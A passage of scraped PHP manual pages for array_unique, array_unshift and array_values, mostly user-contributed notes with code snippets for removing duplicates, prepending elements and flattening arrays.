    //do what you want with $value withaout index stress
}
?>
PHP Expert 14-Apr-2008 02:34
case insensitive for PHP v4.x and up.

<?php

function in_iarray($str, $a){
foreach($a as $v){
if(strcasecmp($str, $v)==0){return true;}
}
return false;
}

function array_iunique($a){
$n = array();
foreach($a as $k=>$v){
if(!in_iarray($v, $n)){$n[$k]=$v;}
}
return $n;
}

$input = array("aAa","bBb","cCc","AaA","ccC","ccc","CCC","bBB","AAA","XXX");
$result = array_iunique($input);
print_r($result);

/*
Array
(
    [0] => aAa
    [1] => bBb
    [2] => cCc
    [9] => XXX
)
*/
?>
Ray dot Paseur at SometimesUsesGmail dot com 02-Mar-2008 04:46
I needed to identify email addresses in a data table that were replicated, so I wrote the array_not_unique() function:

<?php

function array_not_unique($raw_array) {
    $dupes = array();
    natcasesort($raw_array);
    reset ($raw_array);

    $old_key    = NULL;
    $old_value    = NULL;
    foreach ($raw_array as $key => $value) {
        if ($value === NULL) { continue; }
        if ($old_value == $value) {
            $dupes[$old_key]    = $old_value;
            $dupes[$key]        = $value;
        }
        $old_value    = $value;
        $old_key    = $key;
    }
return $dupes;
}

$raw_array     = array();
$raw_array[1]    = 'abc@xyz.com';
$raw_array[2]    = 'def@xyz.com';
$raw_array[3]    = 'ghi@xyz.com';
$raw_array[4]    = 'abc@xyz.com'; // Duplicate

$common_stuff    = array_not_unique($raw_array);
var_dump($common_stuff);
?>
php_array_unique [at] peterwarnock.com 19-Dec-2007 08:20
To clarify the note above Example #1, the function appears to cast the elements to strings for comparison and then return the type of the first unique element encountered.

<?php
$input = array(0, 2, "2", 3, "9", 9);
$result = array_unique($input);
var_dump($result);
?>

array(4) {
  [0]=>
  int(0)
  [1]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  string(1) "9"
}
mnbayazit 28-Oct-2007 11:18
case insensitive

<?php
function array_iunique($array) {
    return array_intersect_key($array,array_unique(
                 array_map(strtolower,$array)));
}
?>
xjazey at hotmail dot com 11-Sep-2007 08:50
This is a solution to remove duplicate values from an array

<?php

$array[0] = "Yellow";
$array[1] = "Green";
$array[2] = "Yellow";
$array[3] = "Blue";
$array[4] = "Yellow";

$array = array_keys(array_flip($array));

//$array will output Yellow Green Blue

?>
webmaster at jukkis dot net 30-Jul-2007 01:08
Another way to 'unique column' an array, in this case an array of objects:
Keep the desired unique column values in a static array inside the callback function for array_filter.

Example:
<?php
/* example object */
class myObj {
  public $id;
  public $value;
  function __construct( $id, $value ) {
    $this->id = $id;
    $this->value = $value;
  }
}

/* callback function */
function uniquecol( $obj ) {
  static $idlist = array();

  if ( in_array( $obj->id, $idlist ) )
    return false;

  $idlist[] = $obj->id;
  return true;
}

/* a couple of arrays with second array having an element with same id as the first */
$list  = array( new myObj( 1, 1  ), new myObj( 2, 100 ) );
$list2 = array( new myObj( 1, 10 ), new myObj( 3, 100 ) );
$list3 = array_merge( $list, $list2 );

$unique = array_filter( $list3, 'uniquecol' );
print_r( $list3 );
print_r( $unique );

?>

In addition, use array_merge( $unique ) to reindex.
arr1 01-Nov-2006 05:59
Just to note that array_unique, treats null values as none unique values. So if your using array_unique to detect duplicate values it will also detect multiple null values.
Ome_Henk 27-Oct-2006 09:16
For people looking at the flip flip method for getting unique values in a simple array. This is the absolute fastest method:

<?php
$unique = array_keys(array_flip($array));
?>

It's marginally faster as:
<?php
$unique = array_merge(array_flip(array_flip($array)));
?>

And it's marginally slower as:
<?php
$unique array_flip(array_flip($array)); // leaves gaps
?>

It's still about twice as fast or fast as array_unique.

This tested on several different machines with 100000 random arrays. All machines used a version of PHP5.
geuis dot teses at gmail dot com 09-Oct-2006 07:27
Here's the shortest line of code I could find/create to remove all duplicate entries from an array and then reindex the keys.

<?php

// Fruits, vegetables, and other food:
$var = array('apple','banana','carrot','cat','dog','egg','eggplant','fish');

$var = array_values(array_unique($var));
?>
keneks at gmail dot com 30-Sep-2006 04:01
Taking the advantage of array_unique, here is a simple function to check if an array has duplicate values.

It simply compares the number of elements between the original array and the array_uniqued array.

<?php
function array_search_dups($array)
{
    $dup_array = $array;
    $dup_array = array_unique($dup_array);
    if(count($dup_array) != count($array))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>
uditsawhney at yahoo dot com 15-Jul-2006 09:14
<?php

//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Start
function array_uniquecolumn($arr)
{
    $rows   = sizeof($arr);
    $columns = sizeof($arr[0]);

    $columnkeys = array_keys($arr[0]);

    for($i=0; $i<$columns; $i++)
    {
        for($j=0;$j<$rows;$j++)
        {
            for($k = $j+1; $k<$rows; $k++)
            {
                if($arr[$j][$columnkeys[$i]] == $arr[$k][$columnkeys[$i]])
                    $arr[$k][$columnkeys[$i]] = "";
            }
        }

    }

return ($arr);

}
//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Stop

$arrUGCourse[]= array(  "CTR" => "1",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"540",

                        "COUNT"=>"34",

                        "ENTRY_DT"=>"2006-05-01",

                        "CUMULATIVE"=> 44);

$arrUGCourse[]= array(  "CTR" => "2",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"5401",

                        "COUNT"=>"341",

                        "ENTRY_DT"=>"2006-05-11",

                        "CUMULATIVE"=> 44);

print_r(array_uniquecolumn($arrUGCourse));

?>
MoD 14-Apr-2006 06:02
The shortest way i found to remove duplicate array from a column,
For example if you parse Multiple XML sources, you can remove duplicate items that contain the same link.

<?PHP
function        remove_duplicate($array, $field)
{
  foreach ($array as $sub)
    $cmp[] = $sub[$field];
  $unique = array_unique($cmp);
  foreach ($unique as $k => $rien)
    $new[] = $array[$k];
  return $new;
}
?>
agarcia at rsn dot com dot co 31-Mar-2006 09:41
This is a script for multi_dimensional arrays

<?php
function remove_dup($matriz) {
    $aux_ini=array();
    $entrega=array();
    for($n=0;$n<count($matriz);$n++)
    {
        $aux_ini[]=serialize($matriz[$n]);
    }
    $mat=array_unique($aux_ini);
    for($n=0;$n<count($matriz);$n++)
    {

            $entrega[]=unserialize($mat[$n]);

    }
    return $entrega;
}
?>
mcmeijer at yahoo dot com 27-Jan-2006 02:18
This is a recursive arrayUnique function for arrays of any dimension. (tested with 4-dimensional array)
The line '$newArray=deleteEmpty($newArray);' is optional and removes empty keys and values
<?php
function arrayUnique($myArray)
    {
    $newArray = Array();
    if (is_array($myArray))
        {
        foreach($myArray as $key=>$val)
            {
            if (is_array($val))
                {
                $val2 = arrayUnique($val);
                }
            else
                {
                $val2 = $val;
                $newArray=array_unique($myArray);
                $newArray=deleteEmpty($newArray);
                break;
                }
            if (!empty($val2))
                {
                $newArray[$key] = $val2;
                }
            }
        }
    return ($newArray);
    }

function deleteEmpty($myArray)
    {
    $retArray= Array();
    foreach($myArray as $key=>$val)
        {
        if (($key<>"") && ($val<>""))
            {
            $retArray[$key] = $val;
            }
        }
    return $retArray;
    }
?>
memandeemail at gmail dot com 03-Jan-2006 07:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

<?php
/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
?>
passtschu AT freenet DOT de 21-Sep-2005 04:20
array_unique for multidimensional arrays. similar to the DISTINCT in SQL function.
the function can group, sum and count keys

<?PHP
/*
$array - nothing to say
$group_keys - columns which have to be grouped - can be STRING or ARRAY (STRING, STRING[, ...])
$sum_keys - columns which have to be summed - can be STRING or ARRAY (STRING, STRING[, ...])
$count_key - must be STRING - count the grouped keys
*/
function array_distinct ($array, $group_keys, $sum_keys = NULL, $count_key = NULL){
  if (!is_array ($group_keys)) $group_keys = array ($group_keys);
  if (!is_array ($sum_keys)) $sum_keys = array ($sum_keys);

  $existing_sub_keys = array ();
  $output = array ();

  foreach ($array as $key => $sub_array){
    $puffer = NULL;
    #group keys
    foreach ($group_keys as $group_key){
      $puffer .= $sub_array[$group_key];
    }
    $puffer = serialize ($puffer);
    if (!in_array ($puffer, $existing_sub_keys)){
      $existing_sub_keys[$key] = $puffer;
      $output[$key] = $sub_array;
    }
    else{
      $puffer = array_search ($puffer, $existing_sub_keys);
      #sum keys
      foreach ($sum_keys as $sum_key){
        if (is_string ($sum_key)) $output[$puffer][$sum_key] += $sub_array[$sum_key];
      }
      #count grouped keys
      if (!array_key_exists ($count_key, $output[$puffer])) $output[$puffer][$count_key] = 1;
      if (is_string ($count_key)) $output[$puffer][$count_key]++;
    }
  }
  return $output;
}
?>
muddmonkey@harveyMcoldotedu 17-Aug-2005 10:44
If you're doing numeric arrays etc. I found flip-flip to work much better than array_unique:

<?PHP
    function microtime_float(){ //timing
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
    }

    //make an arry and fill it up
    $final=array();
    for($i=0;$i<50000;$i++){
        $final[]=$i%13; //make sure there are some dupes
    }
    //try array unique
    $start1 = microtime_float();
    array_unique($final);
    $stop1=microtime_float();
    echo($stop1-$start1.'<br>');
    //try my flip-flip
    $start2=microtime_float();
    array_flip(array_flip($final));
    $stop2=microtime_float();
    echo($stop2-$start2);
?>

Running this with only ints in the array (as above) I get runtimes such as:
1.6195669174194 (using unique)
0.017037868499756 (using flip flip)
which is two orders of magnitude faster!

Appending a string:
($final[]='test'.$i%13;)
gives:
0.42909598350525 (using unique)
0.023258924484253 (using flip-flip)
Which is not AS great, but still 20x faster than unique.

In both cases the flip-flip seems to use less memory than the unique.

Granted the flip-flip doesn't work for all cases, but if you're doing simple stuff like this, the flip-flip will give you better run times.

~JF
memandeemail at gmail dot com 15-Apr-2005 10:46
<?php
/**
 * Removes duplicate keys from an array
 *
 * @param array $array
 * @return array
 */
function array_unique_key($array) {
    $result = array();
    foreach (array_unique(array_keys($array)) as $tvalue) {
        $result[$tvalue] = $array[$tvalue];
    }
    return $result;
}
?>
Ric 05-Apr-2005 06:44
A very simple way of getting rid of duplicate entries and re-indexing with key starting at 0:

<?php
    $temp=array_unique($main);
    $main=array_values($temp);
?>
trigger at e-mail dot ru 03-Feb-2005 11:53
Just a simple implementation for JavaScript:

<?php
function array_unique(thearray)
{
    thearray.sort();
    //reset($thearray);
    newarray = new Array();
    for (n=0;n<thearray.length;n++)
    {
        unique=1;//by default
        for(nn=0;nn<newarray.length;nn++)
            if (thearray[n] == newarray[nn])
            {
                unique=0;//already exists
                break;
            }
        if(unique)//dont exists
            newarray.push(thearray[n]);
    }
    return newarray;
 }
?>
lucas.bickel AT purplehaze DOT ch 26-Oct-2004 05:39
I quite like the following code for making multidimensional arrays unique:

<?php
foreach ($arrAddressList AS $key => $arrAddress) {
    $arrAddressList[$key] = serialize($arrAddress);
}
$arrAddressList = array_unique($arrAdressList);
foreach ($arrAddressList AS $key => $strAddress) {
    $arrAddressList[$key] = unserialize($strAddress);
}
?>

This gets me a unique array while not minding wether the the original array contains arrays or just strings (or whatever...).
wernerlistas at terra dot com dot br 16-Jun-2004 05:50
Following the code copies of a little function I've wrote that actually works with multidimensional arrays.
It also resets the array indexes.

<?php
if ( !function_exists( "arrayUnique" ) ){
    function arrayUnique ( $rArray ){
        $rReturn = array ();
        while ( list( $key, $val ) = each ( $rArray ) ){
            if ( !in_array( $val, $rReturn ) )
            array_push( $rReturn, $val );
        }
        return $rReturn;
    }
}
?>
csaba at alum dot mit dot edu 10-Jun-2004 04:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
    $aHash = array();
    foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor
patrikG at home dot net 11-Mar-2004 04:05
If you need to have the keys of the duplicates in an array returned, you may find this function useful:

<?php
function unique_events($array){
    //checks $array for duplicate values and returns an
        //array containing the keys of duplicates
    $count= array_intersect_assoc($array, array_flip( array_count_values($array)));
    foreach($array as $key=>$value){
        if (in_array($value,$count)){
            $return[$value][]=$key;
        }
    }
    return $return;
}
?>

Example:

Input:
Array
(
    [0] => 44
    [1] => 23
    [2] => 23
    [3] => 23
    [4] => 9
    [5] => 9
    [6] => 9
    [7] => 9
    [8] => 9
    [9] => 9
    [10] => 9
    [11] => 9
)

Function returns:
Array
(
    [23] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [9] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
            [3] => 7
            [4] => 8
            [5] => 9
            [6] => 10
            [7] => 11
        )

)
kay_rules at yahoo dot com 24-May-2003 11:28
this function will return an array with unique value and proper key increment start from 0.

<?php
/*******************************/
function my_array_unique($somearray){
    $tmparr = array_unique($somearray);
    $i=0;
    foreach ($tmparr as $v) {
        $newarr[$i] = $v;
        $i++;
    }
    return $newarr;
}
/********************************/
?>

eg:

<?php
$foo_arr[0] ='aa'
$foo_arr[1] ='bb'
$foo_arr[2] ='cc'
$foo_arr[3] ='bb'
$foo_arr[4] ='aa'
$foo_arr[5] ='dd'
?>

normal array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='';
$foo_arr[4] ='';
$foo_arr[5] ='dd'
?>

my_array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='dd'
?>
martin at lucas-smith dot co dot uk 27-Jan-2003 02:12
To get a list of the duplicated values in an array, array_unique isn't much help. Instead, use array_filter in conjunction with a callback function, as below:

<?php
$checkKeysUniqueComparison = create_function('$value','if ($value > 1) return true;');
$result = array_keys (array_filter (array_count_values($array), $checkKeysUniqueComparison));
?>

These two lines therefore will create $result, an array of duplicated values in the array $array, once each. E.g. the array
$array = array ("a", "b", "a", "b", "x", "y", "z", "x");
gives the result
Array([0] => a [1] => b [2] => x)
deigo at swirve dot NOSPAM dot com 23-Sep-2002 07:04
Before I found the mysql distinct I had to make a nicer array from the keys/values that I got from array_unique so.

<?php
$groups=array_unique($groups);
$newgroup[0]=reset($groups);
for ($x=1;$x<sizeof($groups);$x++)
{
  $newgroup[$x]=next($groups);
}
?>
php at hp-site dot dk 29-Aug-2002 08:15
Try this:
array_flip(array_flip($array));

It gives the same result as the old array_unique()
29-Aug-2002 11:39
<?php
$truc = array("l810u00","l810u00","l810q00");
$machin = array_unique($truc);
for($i=0;$i < count($machin) ; $i++){
print $machin[$i]."
";
}
?>
result :
l810u00

This is not strange: $machin (as returned by array unique), contains "l810u00" either in key[0] or key[1] but not both (the key depends on the ersion of PHP), and "l810q00" in key[2].
The returned array has TWO elements so count($machin)==2.
The returned array has a hole in it, and you're not displaying its full content. You could verify it by using this display loop instead:
foreach($machine as $key=>$value){
print '[' . $key . '] => ' . $value . '
";
}
result:
[0] => l810q00
[2] => l810u00
(the first line may display [1] instead of [0] for PHP 4.0.1p3, but you'll get the same order of values and two lines, as expected). When calling array_values() on the result, you're building a new array with the same values in the same order, but with renumbered keys (without holes in numeric keys).
spunk at dasspunk dot NOSPAM dot com 14-Nov-2001 01:52
I needed a way of retaining the original array's keys in the new, unique array. I came up with this. It works for my purposes but may need refinement.

<?php
function my_array_unique($somearray)
{
    asort($somearray);
    reset($somearray);
    $currentarrayvar = current($somearray);
    foreach ($somearray as $key=>$var)
    {
        if (next($somearray) != $currentarrayvar)
        {
            $uniquearray[$key] = $currentarrayvar;
            $currentarrayvar = current($somearray);
        }
    }
    reset($uniquearray);
    return $uniquearray;
}
?>
az at top-webdesign dot de 10-Jul-2001 10:00
Attention!
If you use array_unique be aware of data-types! (I spent hours of debugging because of that ...).

For example, if you've got an array containing a '3' as number and another '3' as string it won't be eliminated by array_unique.

An Example where this can happen, without really thinking about it:

I've got an article-list with product-numbers where the third and fourth digit is the code for the producer. So I read in the file an process it line by line and put each producer-code into an array:
------------------------------
<?php
$i=0;
while($line = fgets($csv, 10000) {
// splitting the line, product_no is the first part:

$data = explode(";", $line);

// putting the producer_code into an array:

$producer_id[$i] = trim(substr($data[0], 2, 2));

// make a special exception:

if(trim(substr($data[0], 2, 2)) == 40) {
$producer_id[$j] = '30';
}

// in the above line if you leave the 30 without the ''
// array_unique won't work!

$i++;
}

$producer_ids = array_values(array_unique($producer_id));
?>
-------------------------------
Result is to have all producer-ID's in an array without dupes.
rein at velt dot net 21-Apr-2001 09:44
Following code copies unique values from MyArray to TempArray.
Then copies non-empty elements from TempArray to UniqueArray.

Not the most elegant solution, but it works.

<?php
$TempArray = array_unique($MyArray);
while (list($index,$data)=each($TempArray)) {
      if (isempty($data)) {
          $UniqueArray[$index]=$data;
      }
}
?>
jllamas at bal dot com dot mx 26-Sep-2000 06:25
It seems that array_unique creates an exact copy of the original array and then elimitates duplicate values. It does NOT change the "internal references" of the array. For example:

<?php
    $test_alfa = array();
    $test_alfa[0] = "aa";
    $test_alfa[1] = "aa";
    $test_alfa[2] = "aa";
    $test_alfa[3] = "bb";
    $test_alfa[4] = "aa";
    $test_alfa[5] = "bb";
    $test_alfa[6] = "cc";
    $test_alfa[7] = "bb";

    $test_beta= array_unique($test_alfa);
    $numValues = count($test_beta);
    for ($i = 0 ; $i <= 7 ; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
    echo ("Number of elements in test_beta = $numValues ");
?>
will give you the following output:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
test_beta[3] =
test_beta[4] =
test_beta[5] = bb
test_beta[6] = cc
test_beta[7] =
Number of elements in test_beta = 3

The point is that you won't get the output you'd expect if you think that the values of the non duplicate elements are located in the first three array locations.

<?php
    $numValues = count($test_beta);
    for ($i=0;$i<=$numValues; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
    echo ("Number of elements in test_beta = $numValues ");
?>

will give you:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
Number of elements in test_beta = 3

Hope that saves u some debugging time!


Prepend one or more elements to the beginning of an array

  • « array_unique
  • array_values »
  • PHP Manual
  • Array Functions
  • Prepend one or more elements to the beginning of an array

array_unshift

(PHP 4, PHP 5)

array_unshift — Prepend one or more elements to the beginning of an array

Description

int array_unshift ( array &$array , mixed $value1 [, mixed $... ] )

array_unshift() prepends passed elements to the front of the array. Note that the list of elements is prepended as a whole, so that the prepended elements stay in the same order. All numerical array keys will be modified to start counting from zero while literal keys won't be touched.

Parameters

array

The input array.

value1

First value to prepend.

Return Values

Returns the new number of elements in the array.

Examples

Example #1 array_unshift() example

<?php
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
?>

The above example will output:

Array
(
    [0] => apple
    [1] => raspberry
    [2] => orange
    [3] => banana
)

See Also

  • array_shift() - Shift an element off the beginning of array
  • array_push() - Push one or more elements onto the end of array
  • array_pop() - Pop the element off the end of array

User Contributed Notes

Anonymous 19-Nov-2011 06:44
Sahn's example almost works but has a small error. Try it like this if you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    return = array_reverse($arr, true);
}
?>
sergei at gmx dot net 04-Oct-2007 05:49
You can preserve keys and unshift an array with numerical indexes in a really simple way if you'll do the following:

<?php
$someArray=array(224=>'someword1', 228=>'someword2', 102=>'someword3', 544=>'someword3',95=>'someword4');

$someArray=array(100=>'Test Element 1 ',255=>'Test Element 2')+$someArray;
?>

now the array looks as follows:

array(
100=>'Test Element 1 ',
255=>'Test Element 2'
224=>'someword1',
228=>'someword2',
102=>'someword3',
544=>'someword3',
95=>'someword4'
);
amschroeder at gmail dot com 26-Mar-2007 06:13
This becomes a nice little problem if you index your arrays out of order (while manually sorting).  For example:

<?php
$recordMonths[3] = '8/%/2006';
$recordMonths[4] = '7/%/2004';
$recordMonths[0] = '3/%/2007';
$recordMonths[1] = '2/%/2007';
$recordMonths[5] = '12/%/2000';
$recordMonths[6] = '11/%/2000';
$recordMonths[7] = '10/%/2000';
$recordMonths[2] = '1/%/2007';

for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
array_unshift($recordMonths,'%');
for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
?>

Produces:

singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 1/%/2007
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: %
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: 1/%/2007

It reindexes them based on the order they were created.  It seems like if an array has all numeric indexes, then it should reindex them based on the order of their index.  Just my opinion...
John Brooking 03-Jun-2006 03:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

<?php
   array_unshift( $myArray, array_shift( $myArray ));
?>
php at electricsurfer dot com 27-Feb-2004 03:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue 09-Nov-2003 01:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
    $lNewArray = false;
    foreach (array_keys ($ioArray) as $lKey)
        $lNewArray[$lKey+1] = & $ioArray[$lKey];
    $ioArray = array (& $iValueWrappedInAnArray[0]);
    if ($lNewArray)
        foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
    return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com 23-Jul-2003 09:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
        $Temp = array();
        while(isset($Temp[$Old]) == false) {
                list($k, $v) = each($In);
                $Temp[$k] = $v;
                unset($In[$k]);
        }
        if($NewVal == NULL) {
                $NewVal = $Temp[$Old];
        }
        unset($Temp[$Old]);
        $Temp = array_reverse($Temp);
        $In = array_merge(array($New=>$NewVal), $In);
        while(list($k,$v) = each($Temp)) {
                $In = array_merge(array($k=>$v), $In);
        }
        return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz 31-Jul-2002 04:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
robert dot wills at fuzzbrain dot uklinux dot net 07-Feb-2002 03:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
        "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}
?>

Array
(
    [f] => five
    [s] => six
    [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
    [0] => zero
    [f] => five
    [s] => six
    [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu 27-Jul-2001 09:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return count($arr);
}
?>


Return all the values of an array

  • « array_unshift
  • array_walk_recursive »
  • PHP Manual
  • Array Functions
  • Return all the values of an array

array_values

(PHP 4, PHP 5)

array_values — Return all the values of an array

Description

array array_values ( array $array )

array_values() returns all the values from the array and indexes the array numerically.

Parameters

array

The array.

Return Values

Returns an indexed array of values.

Examples

Example #1 array_values() example

<?php
$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

The above example will output:

Array
(
    [0] => XL
    [1] => gold
)

See Also

  • array_keys() - Return all the keys or a subset of the keys of an array

User Contributed Notes

biziclop at vipmail dot hu 01-May-2014 08:47
Remember, array_values() will ignore your beautiful numeric indexes, it will renumber them according tho the 'foreach' ordering:

<?php
$a = array(
 3 => 11,
 1 => 22,
 2 => 33,
);
$a[0] = 44;

print_r( array_values( $a ));
==>
Array(
  [0] => 11
  [1] => 22
  [2] => 33
  [3] => 44
)
?>
heber dot gentilin at gmail dot com 22-Aug-2013 03:43
/**
* Return the new array from the offset index
*/
function array_values_from($array, $offset_index = 0) {
    if (!is_array($array))
        return null;
    $index = (int)$offset_index;
    foreach($array as $i => $value)
        $array_return[$index++] = $value;
    return $array_return;
}
Certainist 22-Apr-2013 12:51
Non-recursive simplest array_flatten.

<?php

function array_flatten($arr) {
    $arr = array_values($arr);
    while (list($k,$v)=each($arr)) {
        if (is_array($v)) {
            array_splice($arr,$k,1,$v);
            next($arr);
        }
    }
    return $arr;
}

?>
info at djdb dot be 29-Jan-2013 09:45
<?php
$array = array("size" => "XL", "color" => "gold","x" => " ","y" => "gold","z" => "");
print_r(array_values($array));
?>
wil result:
Array ( [0] => XL [1] => gold [2] => [3] => gold [4] => )
kapilgopinath at gmail dot com 09-Mar-2012 03:57
extract all values from a multi dimesnsional array or a nexted json object
function array_keys_multi($array,&$vals)
{
    foreach ($array as $key => $value) {

        if (is_array($value)) {

            array_keys_multi($value,$vals);

        }else{

            $vals[] = $value;
        }
    }

    return $vals;
}
a dot ross at amdev dot eu 30-May-2011 09:21
<?php
/**
 * Flattens an array, or returns FALSE on fail.
 */
function array_flatten($array) {
  if (!is_array($array)) {
    return FALSE;
  }
  $result = array();
  foreach ($array as $key => $value) {
    if (is_array($value)) {
      $result = array_merge($result, array_flatten($value));
    }
    else {
      $result[$key] = $value;
    }
  }
  return $result;
}
?>
abimaelrc 10-May-2011 02:39
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
/**
 * Get all values from specific key in a multidimensional array
 *
 * @param $key string
 * @param $arr array
 * @return null|string|array
 */
function array_value_recursive($key, array $arr){
    $val = array();
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        if($k == $key) array_push($val, $v);
    });
    return count($val) > 1 ? $val : array_pop($val);
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'vegetable' => array(
        'carrot' => 'carrot2',
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // array(2) { [0]=> string(6) "carrot" [1]=> string(7) "carrot2" }
var_dump(array_value_recursive('apple', $arr)); // null
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // null
?>
aowie1 at gmail dot com 19-Jan-2011 09:23
I needed a function that recursively went into each level of the array to order (only the indexed) arrays... and NOT flatten the whole thing.

Solution:
<?php
function array_values_recursive($arr){
        $arr = array_values($arr);
        foreach($arr as $key => $val)
            if(array_values($val) === $val)
                $arr[$key] = array_values_recursive($val);

        return $arr;
}
?>
geo dot artemenko at gmail dot com 04-May-2010 09:37
same array_flatten function, compressed and preserving keys.

function array_flatten($a,$f=array()){
  if(!$a||!is_array($a))return '';
  foreach($a as $k=>$v){
    if(is_array($v))$f=array_flatten($v,$f);
    else $f[$k]=$v;
  }
  return $f;
}
Carsten Milkau 01-Nov-2009 01:46
Note that in a multidimensional array, each element may be identified by a _sequence_ of keys, i.e. the keys that lead towards that element. Thus "preserving keys" may have different interpretations. Ivan's function for example creates a two-dimensional array preserving the last two keys. Other functions below create a one-dimensional array preserving the last key. For completeness, I will add a function that merges the key sequence by a given separator and a function that preserves the last n keys, where n is arbitrary.

<?php
/*
